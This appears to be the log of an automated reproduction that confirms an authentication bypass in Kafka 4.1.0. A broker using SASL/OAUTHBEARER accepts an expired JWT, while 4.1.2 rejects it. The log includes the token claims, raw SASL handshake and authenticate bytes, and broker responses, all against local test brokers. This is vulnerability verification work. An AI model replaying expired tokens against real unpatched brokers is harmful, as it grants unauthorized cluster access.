=== Kafka SASL/OAUTHBEARER expired JWT replay reproduction === Vulnerable Kafka version: 4.1.0 Fixed Kafka version: 4.1.2 Fix commit: 01d8e7db8d08dbd538892b409457ea6bfcc2a422 Project cache dir: /data/pruva/project-cache/dbbcc5c0-79b3-4b58-8870-31246d1143c4 Work dir: /data/pruva/runs/e9683a40-d1d1-46c8-8475-d3a9bb15dcb2/bundle/artifacts/kafka-oauth-repro-20260711T041207Z-42226 [1/8] Checking/installing dependencies... openjdk version "17.0.19" 2026-04-21 17.0.19 Python JWT dependencies: OK [2/8] Preparing Kafka binary distributions... Kafka 4.1.0 ready at /data/pruva/project-cache/dbbcc5c0-79b3-4b58-8870-31246d1143c4/kafka_2.13-4.1.0 Kafka 4.1.2 ready at /data/pruva/project-cache/dbbcc5c0-79b3-4b58-8870-31246d1143c4/kafka_2.13-4.1.2 [3/8] Capturing fix comparison from shipped Kafka classes... Fix comparison: 4.1.2 DefaultJwtValidator branches on jwks.endpoint.url; 4.1.0 does not. [4/8] Starting mock OAuth/JWKS issuer on http://127.0.0.1:41917... { "label": "expired", "now": 1783743129, "expired_at_replay": true, "seconds_since_exp": 3600, "claims": { "sub": "replayed-user", "preferred_username": "replayed-user", "iss": "https://mock-idp.example.com", "aud": "kafka-broker", "iat": 1783735929, "exp": 1783739529, "scope": "kafka-cluster" } } { "label": "valid", "now": 1783743129, "expired_at_replay": false, "seconds_since_exp": -3600, "claims": { "sub": "replayed-user", "preferred_username": "replayed-user", "iss": "https://mock-idp.example.com", "aud": "kafka-broker", "iat": 1783735929, "exp": 1783746729, "scope": "kafka-cluster" } } [5/8] Writing raw Kafka SASL/OAUTHBEARER TCP client... [6/8] Running vulnerable broker attempt (Kafka 4.1.0)... Formatting Kafka 4.1.0 (vulnerable) storage with cluster id vVU_c3h-QZWIs2wlQ1gX0A Starting Kafka 4.1.0 (vulnerable) broker on 127.0.0.1:58957 Kafka 4.1.0 (vulnerable) broker is ready. Running raw TCP SASL replay tests. { "label": "vulnerable_valid", "host": "127.0.0.1", "port": 58957, "replay_time": 1783743133, "jwt_claims": { "sub": "replayed-user", "preferred_username": "replayed-user", "iss": "https://mock-idp.example.com", "aud": "kafka-broker", "iat": 1783735929, "exp": 1783746729, "scope": "kafka-cluster" }, "jwt_expired_at_replay": false, "accepted_by_broker": true, "rejected_by_broker": false, "sasl_handshake_raw_hex": "00000001000000000001000b4f41555448424541524552", "sasl_handshake_correlation_id": 1, "sasl_handshake_error_code": 0, "mechanisms": [ "OAUTHBEARER" ], "sasl_authenticate_first_response": { "raw_hex": "000000020000000000000000000000000036ddc4", "correlation_id": 2, "error_code": 0, "error_message": "", "auth_bytes_len": 0, "auth_bytes_utf8": "", "session_lifetime_ms": 3595716 } } { "label": "vulnerable_expired", "host": "127.0.0.1", "port": 58957, "replay_time": 1783743133, "jwt_claims": { "sub": "replayed-user", "preferred_username": "replayed-user", "iss": "https://mock-idp.example.com", "aud": "kafka-broker", "iat": 1783735929, "exp": 1783739529, "scope": "kafka-cluster" }, "jwt_expired_at_replay": true, "accepted_by_broker": true, "rejected_by_broker": false, "sasl_handshake_raw_hex": "00000001000000000001000b4f41555448424541524552", "sasl_handshake_correlation_id": 1, "sasl_handshake_error_code": 0, "mechanisms": [ "OAUTHBEARER" ], "sasl_authenticate_first_response": { "raw_hex": "0000000200000000000000000000000000000000", "correlation_id": 2, "error_code": 0, "error_message": "", "auth_bytes_len": 0, "auth_bytes_utf8": "", "session_lifetime_ms": 0 } } /data/pruva/runs/e9683a40-d1d1-46c8-8475-d3a9bb15dcb2/bundle/repro/reproduction_steps.sh: line 479: 43114 Killed KAFKA_OPTS="-Djava.security.auth.login.config=$jaas -Dorg.apache.kafka.sasl.oauthbearer.allowed.urls=$ALLOWED_URLS" nohup "$home/bin/kafka-server-start.sh" "$props" > "$broker_log" 2>&1 [7/8] Running fixed broker negative control (Kafka 4.1.2)... Formatting Kafka 4.1.2 (fixed) storage with cluster id B4P-jJdoRoOmAu0V35ps7A Starting Kafka 4.1.2 (fixed) broker on 127.0.0.1:47437 Kafka 4.1.2 (fixed) broker is ready. Running raw TCP SASL replay tests. { "label": "fixed_valid", "host": "127.0.0.1", "port": 47437, "replay_time": 1783743139, "jwt_claims": { "sub": "replayed-user", "preferred_username": "replayed-user", "iss": "https://mock-idp.example.com", "aud": "kafka-broker", "iat": 1783735929, "exp": 1783746729, "scope": "kafka-cluster" }, "jwt_expired_at_replay": false, "accepted_by_broker": true, "rejected_by_broker": false, "sasl_handshake_raw_hex": "00000001000000000001000b4f41555448424541524552", "sasl_handshake_correlation_id": 1, "sasl_handshake_error_code": 0, "mechanisms": [ "OAUTHBEARER" ], "sasl_authenticate_first_response": { "raw_hex": "000000020000000000000000000000000036c5c3", "correlation_id": 2, "error_code": 0, "error_message": "", "auth_bytes_len": 0, "auth_bytes_utf8": "", "session_lifetime_ms": 3589571 } } { "label": "fixed_expired", "host": "127.0.0.1", "port": 47437, "replay_time": 1783743139, "jwt_claims": { "sub": "replayed-user", "preferred_username": "replayed-user", "iss": "https://mock-idp.example.com", "aud": "kafka-broker", "iat": 1783735929, "exp": 1783739529, "scope": "kafka-cluster" }, "jwt_expired_at_replay": true, "accepted_by_broker": false, "rejected_by_broker": true, "sasl_handshake_raw_hex": "00000001000000000001000b4f41555448424541524552", "sasl_handshake_correlation_id": 1, "sasl_handshake_error_code": 0, "mechanisms": [ "OAUTHBEARER" ], "sasl_authenticate_first_response": { "raw_hex": "00000002000000000000001a7b22737461747573223a22696e76616c69645f746f6b656e227d0000000000000000", "correlation_id": 2, "error_code": 0, "error_message": "", "auth_bytes_len": 26, "auth_bytes_utf8": "{\"status\":\"invalid_token\"}", "session_lifetime_ms": 0 }, "sasl_authenticate_final_response": { "raw_hex": "00000003003a001a7b22737461747573223a22696e76616c69645f746f6b656e227d000000000000000000000000", "correlation_id": 3, "error_code": 58, "error_message": "{\"status\":\"invalid_token\"}", "auth_bytes_len": 0, "auth_bytes_utf8": "", "session_lifetime_ms": 0 } } /data/pruva/runs/e9683a40-d1d1-46c8-8475-d3a9bb15dcb2/bundle/repro/reproduction_steps.sh: line 484: 44375 Killed KAFKA_OPTS="-Djava.security.auth.login.config=$jaas -Dorg.apache.kafka.sasl.oauthbearer.allowed.urls=$ALLOWED_URLS" nohup "$home/bin/kafka-server-start.sh" "$props" > "$broker_log" 2>&1 [8/8] Evaluating vulnerable-vs-fixed divergence and writing evidence... { "confirmed": true, "vulnerable_expired_accepted": true, "fixed_expired_rejected": true, "vulnerable_valid_accepted": true, "fixed_valid_accepted": true, "expired_claims": { "sub": "replayed-user", "preferred_username": "replayed-user", "iss": "https://mock-idp.example.com", "aud": "kafka-broker", "iat": 1783735929, "exp": 1783739529, "scope": "kafka-cluster" }, "expired_replay_time": 1783743133 } VERDICT: CONFIRMED. Vulnerable broker accepted expired JWT; fixed broker rejected it.